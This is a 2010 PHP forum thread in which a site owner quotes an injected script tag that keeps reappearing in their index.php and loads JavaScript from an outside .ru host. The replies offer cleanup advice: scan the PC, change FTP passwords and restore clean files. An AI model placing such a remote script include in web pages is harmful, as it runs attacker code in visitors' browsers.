Trojan is adding extra codes to my script

Discussion in 'PHP' started by xenon2010, Sep 21, 2010.

0
  1. #1
    hi,
    since last day I have noticed that there is trojan is accessing my website index file.
    it is adding those two lines:
    <script type="text/javascript" src="http://addonrock.ru/Unmount.js"></script>
<!--807e466cdd7982c9cace1bf1ae8575d6-->
    HTML:
    i googled it and it seems to be a trojan.. how can I remove it? It just add it self automatically to my "index.php" file everytime I delete it manually from the script.
    just to let you know I'm using a VPS.

    so does anyone have any advice?
    I have contacted the support but till now I've got no response.
     
    xenon2010, Sep 21, 2010 IP
  2. ram4nd

    ram4nd Active Member

    Messages:
    167
    Likes Received:
    2
    Best Answers:
    0
    Trophy Points:
    50
    #2
    Use linux.
     
    ram4nd, Sep 21, 2010 IP
  3. rainborick

    rainborick Well-Known Member

    Messages:
    424
    Likes Received:
    33
    Best Answers:
    0
    Trophy Points:
    120
    #3
    Either your site or your computer has been hacked. You need to do a thorough check of your own computer to make sure it is clean. Use your normal anti-virus software first and then download another program link Spybot Search and Destroy to get a second opinion. Next, change the passwords on all of the FTP accounts for your site. Then delete all of the files from your server except your database files and restore them from known clean copies on your own computer. This insures that any files the hacker installed on your server are deleted. Finally, you need to do a security check of your website. Be sure to upgrade all blog, forum and gallery scripts to the latest version since most hackers gain access through known vulnerabilities in older versions of such scripts. If you have custom scripts on your site, it would be a good idea to have someone examine them for security issues. Good luck!
     
    rainborick, Sep 21, 2010 IP
  4. ram4nd

    ram4nd Active Member

    Messages:
    167
    Likes Received:
    2
    Best Answers:
    0
    Trophy Points:
    50
    #4
    Sry for the bad answer, have had the same problem. You are probably using windows and you have some trojan or something that stole your ftp passwords. So the solution would be to change the passwords and sweep your computer from trojans.
     
    ram4nd, Jul 10, 2012 IP
  5. Rukbat

    Rukbat Well-Known Member

    Messages:
    2,908
    Likes Received:
    37
    Best Answers:
    51
    Trophy Points:
    125
    #5
    Check every file on your site against the originals you have backed up from when you first set the site up.

    If you didn't do that you'll have to install the site again from a fresh copy of the code.

    Some file on the site has been compromised. You can, if you wish, go through every line of every file on the site, looking for the malware, but that could take days. and you can't do it unless you can read PHP as well as you can read a newspaper. (I assume this isn't a large enough commercial site that you can hire someone for $50/hour or more to do the work.)
     
    Rukbat, Jul 13, 2012 IP